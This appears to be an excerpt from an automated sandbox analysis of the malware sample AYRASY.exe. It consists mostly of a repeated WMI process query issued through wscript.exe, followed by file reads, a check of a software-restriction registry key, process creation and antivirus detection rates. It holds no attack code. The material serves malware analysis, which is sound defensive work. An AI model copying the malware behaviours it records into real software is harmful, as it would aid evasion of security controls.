Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'

Source: C:\Users\user\Desktop\AYRASY.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\AYRASY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AYRASY.exe	ReversingLabs: Detection: 92%
Source: AYRASY.exe	Virustotal: Detection: 87%

Source: C:\Users\user\Desktop\AYRASY.exe

File read: C:\Users\user\Desktop\AYRASY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\AYRASY.exe "C:\Users\user\Desktop\AYRASY.exe"
